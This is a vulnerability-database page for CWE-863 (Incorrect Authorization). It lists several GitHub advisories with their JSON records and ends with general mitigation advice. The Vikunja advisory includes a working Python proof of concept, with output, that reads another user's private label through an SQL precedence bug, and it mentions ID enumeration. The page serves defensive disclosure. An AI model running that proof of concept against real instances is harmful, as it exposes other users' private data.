CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
5491 vulnerabilities reference this CWE, most recent first.
GHSA-HJ38-V83C-6GX2
Vulnerability from github – Published: 2022-05-24 17:27 – Updated: 2022-05-24 17:27The Teamwire application 5.3.0 for Android allows physically proximate attackers to exploit a flaw related to the pass-code component.
{
"affected": [],
"aliases": [
"CVE-2020-12621"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-02T17:15:00Z",
"severity": "LOW"
},
"details": "The Teamwire application 5.3.0 for Android allows physically proximate attackers to exploit a flaw related to the pass-code component.",
"id": "GHSA-hj38-v83c-6gx2",
"modified": "2022-05-24T17:27:12Z",
"published": "2022-05-24T17:27:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12621"
},
{
"type": "WEB",
"url": "https://play.google.com/store/apps/details?id=com.teamwire.messenger\u0026hl=en_US"
},
{
"type": "WEB",
"url": "https://telekom-security.github.io/2020/08/teamwire-passcode-bypass.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HJ57-J5CW-2MWP
Vulnerability from github – Published: 2022-05-25 19:37 – Updated: 2026-03-11 19:49Impact
Unprivileged software in VMware VMs, including software running in unprivileged containers, can retrieve an Ignition config stored in a hypervisor guestinfo variable or OVF environment. If the Ignition config contains secrets, this can result in the compromise of sensitive information.
Patches
Ignition 2.14.0 and later adds a new systemd service, ignition-delete-config.service, that deletes the Ignition config from supported hypervisors (currently VMware and VirtualBox) during the first boot. This ensures that unprivileged software cannot retrieve the Ignition config from the hypervisor.
If you have external tooling that requires the Ignition config to remain accessible in VM metadata after provisioning, and your Ignition config does not include sensitive information, you can prevent Ignition 2.14.0 and later from deleting the config by masking ignition-delete-config.service. For example:
{
"ignition": {
"version": "3.0.0"
},
"systemd": {
"units": [
{
"name": "ignition-delete-config.service",
"mask": true
}
]
}
}
Workarounds
Avoid storing secrets in Ignition configs. In addition to VMware, many cloud platforms allow unprivileged software in a VM to retrieve the Ignition config from a networked cloud metadata service. While platform-specific mitigation is possible, such as firewall rules that prevent access to the metadata service, it's best to store secrets in a dedicated platform such as Hashicorp Vault.
Advice to Linux distributions
Linux distributions that ship Ignition should ensure the new ignition-delete-config.service is installed and enabled by default.
In addition, we recommend shipping a service similar to ignition-delete-config.service that runs when existing machines are upgraded, similar to the one in https://github.com/coreos/fedora-coreos-config/pull/1738. Consider giving your users advance notice of this change, and providing instructions for masking ignition-delete-config.service on existing nodes if users have tooling that requires the Ignition config to remain accessible in VM metadata.
References
For more information, see #1300 and #1350.
For more information
If you have any questions or comments about this advisory, open an issue in Ignition or email the CoreOS development mailing list.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coreos/ignition/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.35.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/coreos/ignition"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-1706"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-863",
"CWE-921"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-25T19:37:37Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\nUnprivileged software in VMware VMs, including software running in unprivileged containers, can retrieve an Ignition config stored in a hypervisor guestinfo variable or OVF environment. If the Ignition config contains secrets, this can result in the compromise of sensitive information.\n\n### Patches\nIgnition 2.14.0 and later [adds](https://github.com/coreos/ignition/pull/1350) a new systemd service, `ignition-delete-config.service`, that deletes the Ignition config from supported hypervisors (currently VMware and VirtualBox) during the first boot. This ensures that unprivileged software cannot retrieve the Ignition config from the hypervisor.\n\nIf you have external tooling that requires the Ignition config to remain accessible in VM metadata after provisioning, and your Ignition config does not include sensitive information, you can prevent Ignition 2.14.0 and later from deleting the config by masking `ignition-delete-config.service`. For example:\n\n```json\n{\n \"ignition\": {\n \"version\": \"3.0.0\"\n },\n \"systemd\": {\n \"units\": [\n {\n \"name\": \"ignition-delete-config.service\",\n \"mask\": true\n }\n ]\n }\n}\n```\n\n### Workarounds\n[Avoid storing secrets](https://coreos.github.io/ignition/operator-notes/#secrets) in Ignition configs. In addition to VMware, many cloud platforms allow unprivileged software in a VM to retrieve the Ignition config from a networked cloud metadata service. While platform-specific mitigation is possible, such as firewall rules that prevent access to the metadata service, it\u0027s best to store secrets in a dedicated platform such as [Hashicorp Vault](https://www.vaultproject.io/).\n\n### Advice to Linux distributions\nLinux distributions that ship Ignition should ensure the new `ignition-delete-config.service` is installed and enabled by default.\n\nIn addition, we recommend shipping a service similar to `ignition-delete-config.service` that runs when existing machines are upgraded, similar to the one in https://github.com/coreos/fedora-coreos-config/pull/1738. Consider giving your users advance notice of this change, and providing instructions for masking `ignition-delete-config.service` on existing nodes if users have tooling that requires the Ignition config to remain accessible in VM metadata.\n\n### References\nFor more information, see #1300 and #1350.\n\n### For more information\nIf you have any questions or comments about this advisory, [open an issue in Ignition](https://github.com/coreos/ignition/issues/new/choose) or email the CoreOS [development mailing list](https://lists.fedoraproject.org/archives/list/coreos@lists.fedoraproject.org/).",
"id": "GHSA-hj57-j5cw-2mwp",
"modified": "2026-03-11T19:49:57Z",
"published": "2022-05-25T19:37:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coreos/ignition/security/advisories/GHSA-hj57-j5cw-2mwp"
},
{
"type": "WEB",
"url": "https://github.com/coreos/ignition/issues/1300"
},
{
"type": "WEB",
"url": "https://github.com/coreos/ignition/pull/1350"
},
{
"type": "PACKAGE",
"url": "https://github.com/coreos/ignition"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Ignition config accessible to unprivileged software on VMware"
}
GHSA-HJ5C-MHH2-G7JQ
Vulnerability from github – Published: 2026-04-10 15:33 – Updated: 2026-04-10 15:33Summary
The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.
Details
The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).
Or(cond).
And("labels.id = ?", l.ID).
Exist(ll)
The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained.
Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
a_token = login("labeler", "Labeler123!")
b_token = login("snooper", "Snooper123!")
# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a_token),
json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a_token),
json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),
json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),
json={"label_id": label["id"]})
# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))
print(f"GET /labels/{label['id']}: {r.status_code}") # 200 - should be 403
if r.status_code == 200:
data = r.json()
print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE
print(f"Creator: {data['created_by']['username']}") # labeler
Output:
GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labeler
Label IDs are sequential integers, making enumeration straightforward.
Impact
Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.
Recommended Fix
Use explicit builder.And/builder.Or grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where(builder.And(
builder.Eq{"labels.id": l.ID},
builder.Or(
builder.And(builder.Expr("label_tasks.label_id is not null"), cond),
builder.Eq{"labels.created_by_id": createdByID},
),
)).
Exist(ll)
Found and reported by aisafe.io
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.2.2"
},
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35596"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T15:33:59Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `hasAccessToLabel` function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.\n\n## Details\n\nThe access control query at `pkg/models/label_permissions.go:85-91` uses xorm\u0027s query chain in a way that produces SQL without proper grouping:\n\n```go\nhas, err = s.Table(\"labels\").\n Select(\"label_tasks.*\").\n Join(\"LEFT\", \"label_tasks\", \"label_tasks.label_id = labels.id\").\n Where(\"label_tasks.label_id is not null OR labels.created_by_id = ?\", createdByID).\n Or(cond).\n And(\"labels.id = ?\", l.ID).\n Exist(ll)\n```\n\nThe xorm chain `.Where(A OR B).Or(C).And(D)` generates SQL: `WHERE A OR B OR C AND D`. Because SQL AND has higher precedence than OR, this evaluates as `WHERE A OR B OR (C AND D)`. The `labels.id = ?` constraint (D) only binds to the project access condition (C), while `label_tasks.label_id IS NOT NULL` (part of A) remains unconstrained.\n\nAny label that has at least one task association passes the `IS NOT NULL` check, regardless of who is requesting it.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ndef login(u, p):\n return requests.post(f\"{API}/login\", json={\"username\": u, \"password\": p}).json()[\"token\"]\n\ndef h(token):\n return {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\na_token = login(\"labeler\", \"Labeler123!\")\nb_token = login(\"snooper\", \"Snooper123!\")\n\n# labeler creates private project, label, task, and assigns label\nproj = requests.put(f\"{API}/projects\", headers=h(a_token),\n json={\"title\": \"Private Project\"}).json()\nlabel = requests.put(f\"{API}/labels\", headers=h(a_token),\n json={\"title\": \"CONFIDENTIAL-REVENUE\", \"hex_color\": \"ff0000\"}).json()\ntask = requests.put(f\"{API}/projects/{proj[\u0027id\u0027]}/tasks\", headers=h(a_token),\n json={\"title\": \"Q4 revenue data\"}).json()\nrequests.put(f\"{API}/tasks/{task[\u0027id\u0027]}/labels\", headers=h(a_token),\n json={\"label_id\": label[\"id\"]})\n\n# snooper reads the label from labeler\u0027s private project\nr = requests.get(f\"{API}/labels/{label[\u0027id\u0027]}\", headers=h(b_token))\nprint(f\"GET /labels/{label[\u0027id\u0027]}: {r.status_code}\") # 200 - should be 403\nif r.status_code == 200:\n data = r.json()\n print(f\"Title: {data[\u0027title\u0027]}\") # CONFIDENTIAL-REVENUE\n print(f\"Creator: {data[\u0027created_by\u0027][\u0027username\u0027]}\") # labeler\n```\n\nOutput:\n```\nGET /labels/1: 200\nTitle: CONFIDENTIAL-REVENUE\nCreator: labeler\n```\n\nLabel IDs are sequential integers, making enumeration straightforward.\n\n## Impact\n\nAny authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator\u0027s username and display name are also exposed.\n\n## Recommended Fix\n\nUse explicit `builder.And`/`builder.Or` grouping:\n\n```go\nhas, err = s.Table(\"labels\").\n Select(\"label_tasks.*\").\n Join(\"LEFT\", \"label_tasks\", \"label_tasks.label_id = labels.id\").\n Where(builder.And(\n builder.Eq{\"labels.id\": l.ID},\n builder.Or(\n builder.And(builder.Expr(\"label_tasks.label_id is not null\"), cond),\n builder.Eq{\"labels.created_by_id\": createdByID},\n ),\n )).\n Exist(ll)\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-hj5c-mhh2-g7jq",
"modified": "2026-04-10T15:33:59Z",
"published": "2026-04-10T15:33:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-hj5c-mhh2-g7jq"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/pull/2578"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/commit/fc216c38afaa51dd56dde7a97343d2148ecf24c1"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug"
}
GHSA-HJ8F-HJ3V-FMVW
Vulnerability from github – Published: 2023-03-27 15:30 – Updated: 2023-03-30 21:30In Delta Electronics InfraSuite Device Master versions prior to 1.0.5, an unauthenticated attacker could generate a valid token, which would lead to authentication bypass.
{
"affected": [],
"aliases": [
"CVE-2023-1136"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-27T15:15:00Z",
"severity": "HIGH"
},
"details": "In Delta Electronics InfraSuite Device Master versions prior to 1.0.5, an unauthenticated attacker could generate a valid token, which would lead to authentication bypass.",
"id": "GHSA-hj8f-hj3v-fmvw",
"modified": "2023-03-30T21:30:21Z",
"published": "2023-03-27T15:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1136"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-080-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HJF3-HGQ2-9HW3
Vulnerability from github – Published: 2024-10-28 21:30 – Updated: 2024-10-28 21:30The Chef Habitat builder-api on-prem-builder package with any version lower than habitat/builder-api/10315/20240913162802 is vulnerable to indirect object reference (IDOR) by un-authorized deletion of personal token. Habitat builder consumes builder-api habitat package as a dependency and the vulnerability was specifically due to builder-api habitat package.
The fix was made available in habitat/builder-api/10315/20240913162802 and all the subsequent versions after that. We would recommend user to always use on-prem stable channel.
{
"affected": [],
"aliases": [
"CVE-2024-9825"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-28T19:15:15Z",
"severity": "MODERATE"
},
"details": "The Chef Habitat builder-api on-prem-builder package \u00a0with any version lower than habitat/builder-api/10315/20240913162802 is vulnerable to indirect object reference (IDOR) by un-authorized deletion of personal token. \u00a0Habitat builder consumes builder-api habitat package as a dependency and the vulnerability was specifically due to builder-api habitat package.\n\nThe fix was made available in habitat/builder-api/10315/20240913162802\u00a0and all the subsequent versions after that. We would recommend user to always use on-prem stable channel.",
"id": "GHSA-hjf3-hgq2-9hw3",
"modified": "2024-10-28T21:30:34Z",
"published": "2024-10-28T21:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9825"
},
{
"type": "WEB",
"url": "https://community.progress.com/s/article/Chef-Habitat-Builder-Product-Alert"
},
{
"type": "WEB",
"url": "https://docs.chef.io/habitat/builder_overview"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-HJGR-GR2X-27F8
Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2023-05-23 15:30A vulnerability in the CLI of Cisco IOS XE Software could allow an authenticated, local attacker to gain shell access on an affected device and execute commands on the underlying operating system (OS). The vulnerability is due to insufficient enforcement of the consent token in authorizing shell access. An attacker could exploit this vulnerability by authenticating to the CLI and requesting shell access on an affected device. A successful exploit could allow the attacker to gain shell access on the affected device and execute commands on the underlying OS.
{
"affected": [],
"aliases": [
"CVE-2019-12671"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-25T21:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the CLI of Cisco IOS XE Software could allow an authenticated, local attacker to gain shell access on an affected device and execute commands on the underlying operating system (OS). The vulnerability is due to insufficient enforcement of the consent token in authorizing shell access. An attacker could exploit this vulnerability by authenticating to the CLI and requesting shell access on an affected device. A successful exploit could allow the attacker to gain shell access on the affected device and execute commands on the underlying OS.",
"id": "GHSA-hjgr-gr2x-27f8",
"modified": "2023-05-23T15:30:25Z",
"published": "2022-05-24T16:56:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12671"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190925-iosxe-ctbypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HJJC-3CQF-H5FG
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2022-05-24 16:54The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.
{
"affected": [],
"aliases": [
"CVE-2019-8446"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-23T14:15:00Z",
"severity": "MODERATE"
},
"details": "The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.",
"id": "GHSA-hjjc-3cqf-h5fg",
"modified": "2022-05-24T16:54:43Z",
"published": "2022-05-24T16:54:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8446"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/JRASERVER-69777"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0839"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HJJQ-JC6W-MQF5
Vulnerability from github – Published: 2022-12-21 00:30 – Updated: 2022-12-21 00:30In registerReceivers of DeviceCapabilityListener.java, there is a possible way to change preferred TTY mode due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-236264289
{
"affected": [],
"aliases": [
"CVE-2022-20558"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-16T16:15:00Z",
"severity": "LOW"
},
"details": "In registerReceivers of DeviceCapabilityListener.java, there is a possible way to change preferred TTY mode due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-236264289",
"id": "GHSA-hjjq-jc6w-mqf5",
"modified": "2022-12-21T00:30:29Z",
"published": "2022-12-21T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20558"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2022-12-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HJQC-WRMR-HQ47
Vulnerability from github – Published: 2022-05-13 01:47 – Updated: 2022-05-13 01:47FusionSphere OpenStack V100R006C00 has an improper authorization vulnerability. Due to improper authorization, an attacker with low privilege may exploit this vulnerability to obtain the operation authority of some specific directory, causing privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2017-8192"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-22T19:29:00Z",
"severity": "HIGH"
},
"details": "FusionSphere OpenStack V100R006C00 has an improper authorization vulnerability. Due to improper authorization, an attacker with low privilege may exploit this vulnerability to obtain the operation authority of some specific directory, causing privilege escalation.",
"id": "GHSA-hjqc-wrmr-hq47",
"modified": "2022-05-13T01:47:21Z",
"published": "2022-05-13T01:47:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8192"
},
{
"type": "WEB",
"url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20171025-01-fustionsphere-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HJQH-MFGJ-VJQF
Vulnerability from github – Published: 2026-02-05 21:32 – Updated: 2026-02-05 21:32Tanium addressed an improper input validation vulnerability in Tanium Appliance.
{
"affected": [],
"aliases": [
"CVE-2025-15321"
],
"database_specific": {
"cwe_ids": [
"CWE-426",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-05T19:15:52Z",
"severity": "LOW"
},
"details": "Tanium addressed an improper input validation vulnerability in Tanium Appliance.",
"id": "GHSA-hjqh-mfgj-vjqf",
"modified": "2026-02-05T21:32:41Z",
"published": "2026-02-05T21:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15321"
},
{
"type": "WEB",
"url": "https://security.tanium.com/TAN-2025-024"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.